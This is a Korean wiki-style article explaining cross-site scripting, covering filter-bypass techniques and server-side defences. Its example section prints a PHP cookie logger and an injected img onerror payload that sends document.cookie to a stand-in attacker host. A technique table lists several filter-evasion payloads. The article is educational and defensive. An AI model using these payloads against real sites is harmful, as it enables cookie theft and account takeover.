크로스 사이트 스크맆팅
* 컴퓨터 관련 정보
[목차]
개요
크로스 사이트 스크맆팅(XSS, cross-site scripting)은 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며[* 사용자 입장에서는 삽입된 코드가 원래부터 존재하는 코드인지 아닌지 분간 할 수 없다.], 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다. --싸이월드 방문자 추적기의 원리--
주로 자바스크립트를 이용한 공격이 대표적이나 HTML 태그의 속성을 이용한 공격방식 등 여러 방식이 존재한다. 공격 방법이 단순하고 가장 기초적이나 많은 웹사이트들이 XSS에 대한 방어 조치를 해두지 않아 공격을 받는 경우가 많다. 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우도 많으며, 경우에 따라서는 스팸메일을 통해서도 전파된다.
물론 HTML을 사용하는 것이기 때문에, HTML관련 기능을 사용하지 않는 게시판이나 위키위키 등에서는 XSS가 발생할 일이 없다(...) 단, 나무위키의 경우 {{{{{{#!html 코드}}}}}} 을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수도 있다. 그래서 나무위키 초반에는 script 태그도 막지 않고 on* 속성도 막지 않았으나, 이는 후에 대부분 수정되었다.
주로 CSRF를 하기 위해서 사용되기 때문에 종종 CSRF와 혼동되는 경우가 있으나, XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는 것이므로 다르다.
예시
대표적인 공격 방법으로는 input 폼에 악의적인 스크립트들을 삽입하는 방법이 있다.
Cookie.php : {{{<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>}}}
삽입 스크립트 : {{{<img src="#" onerror="location.href('https://hack.er/Cookie.php?cookie=' + document.cookie);">}}}
위처럼 해커의 홈페이지에 Cookie.php라는 파일을 만들고, 공격할 사이트에 다음과 같은 스크립트를 넣어 놓으면 사용자가 게시물을 확인할 때 쿠키값이 해당 사이트로 전송되며 이를 통하여 쿠키에 중요한 값들을 저장하는 경우[* 만들어진지 조금 오래된 SSO모듈의 경우 세션이 아닌 쿠키를 이용하여 값을 검증하는 경우도 있다] 본인의 계정이 자기도 모르는 사이에 털리는 경우가 발생한다. 하지만 세션으로 저장해도 자신이 로그아웃하기 전에는 그 세션이 유효하기 때문에, 세션이 끝나기 전에 해커가 그 세션으로 접속한다면... 망했어요. --하지만 요새는 대부분의 사이트에서 on*을 필터링하기 때문에 이정도로 털린다면...--
사용자 7계명
OWASP는 XSS 공격을 방지하는 7계명을 발표하였다.
0. 절대로 허용된 위치가 아닌 다른 위치에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 말아라 1. 신뢰할 수 없는 데이터에 대해서는 치환 처리를 하여라 2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라 3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라 4. CSS에서 모든 신뢰할 수 없는 값에 대해서 검증하여라 5. URL의 경우에도 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라 6. HTML 코드를 전체적으로 한번 더 검증하여라
기법
아래는 한국에서 가장 많이 사용되는 IE 기준으로 작성한 것이다. 따라서 크롬, 파이어폭스 등에서는 작동하지 않을 수도 있다. 실험은 [곳]에서 해보자.
||방법||우회를 하고 script를 그대로 사용한다.||
||예제||{{{<}}}{{{script>alert('XSS');</script>}}}||
||설명||이렇게 하면 막는 경우가 많아 최근 만들어진 대부분의 사이트, 아니 모든 사이트에서 사용 불가능하다고 보면 된다. 하지만 만들어진지 정말정말정말 오래 되었거나, 보안 좆까! 하면서 막지도 않는 경우도 있다. --애초에 비밀번호를 MD5로 저장하거나 평문으로 저장하는 경우도 있는데 새삼스럽게...--||
||방법||script 태그를 막는다면 다른 태그로 한다.||
||예제||{{{<a href="javascript:alert('XSS')">XSS</a>}}}||
||설명||정말 옛날 사이트거나 관리자가 보안에 그다지 신경쓰지 않는다면 script만 막고 땡인 경우도 있다.||
||방법||javascript 사이에 공백 문자, 탭 문자, 혹은 개행 문자를 넣는다.||
||예제||{{{<img src="j}}}[br]{{{avascr ipt:alert(1)">}}}||
||설명||그냥 javascript: 에서 공백/탭/개행 문자를 중간중간에 넣어주면 된다.||
||방법||on~ 속성을 사용한다.||
||예제||{{{<img src="#" onerror="alert('XSS')">}}}||
||설명||이 역시 위와 같다. 자주 쓰이는 것들은 onload, onerror, onmouseover 등이다.||
||방법||잘 사용되지 않는 태그를 사용한다.||
||예제||{{{XSS}}}||
||설명||간혹 자바스크립트를 일부 태그에서 사용될 경우만 막는 경우도 있다(...) {{{<img src="javascript:alert('XSS')">}}} 는 막으면서 위의 예제는 안 막는 경우라던가...||
||방법||[[1]]에서 자바스크립트 난독화.||
||예제||{{{너무 길어 미포함}}}||
||설명||스크립트를 실행시키는 것 까지는 성공했으나 document.cookie 같은 것들을 막을 경우 사용가능한 방법이다. 자바스크립트를 []()!+ 만으로 바꾸어주는 아무래도 미친 것 같은 사이트다(...)||
||방법||따옴표 안에 있는 문자들은 HTML 인코딩을 해서 필터가 어렵게 만든다.||
||예제||{{{<img src="javascript:alert('XSS')">}}}||
||설명||<img src="javascript:alert('XSS')"> 라는 코드가 있다면, javascript:alert('XSS') 부분을 HTML 인코딩을 한다.||
방어 방법
JAVA기반 웹 어플리케이션의 경우, web.xml에 필터를 선언하여 모든 파라미터가 해당 필터를 거치도록 하고 해당 필터에 적절한 필터링 스크립트를 삽입하는것 만으로도 충분한 효과를 볼 수 있으며, 서버나 DB에 저장된 데이터를 내려서 사용자의 웹페이지에 뿌려줄 때에도 한번 필터링을 하는것이 적합한 방법이다.
PHP의 경우, input들을 처리함에 있어서 preg_replace를 이용하거나 DOMDocument를 이용해서 부적절한 스크립트와 태그를 차단할 수 있다.[* 속도는 정규표현식을 이용하는 preg_replace쪽이 빠르지만 안정성은 DOMDocument쪽이 우세하다.]
이 때 치환되거나 필터링 되는 대상 중 가장 흔한것이 < 와 >를 각각 {{{<}}} 와 {{{>}}} 처럼 치환하기도 하며, 아예 필요에 따라서는 <script> 라는 절이 들어오면 아에 에러처리 하는것도 한가지 방법이다. 또한 on* 속성을 차단해도 좋다.
그리고 흔히 하는 것이 일부 태그 및 속성만 막는 경우인데, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋다. 몇몇 태그만 막는다면 HTML 태그나 속성이 추가될 수록 주기적으로 필터를 수정해줘야 하는데, 이럴 바에야 차라리 일부 태그만 허용하는 게 좋기도 하고, 공격할 때 개발자가 상상하지 못한 별별 방법을 다 쓰기도 하기 때문에...
그 이외에 이미 배포된 방법을 이용하고자 하면 [[2]]에서 배포하는 [모듈]이나 ESAPI등을 이용하는 방법이 있다.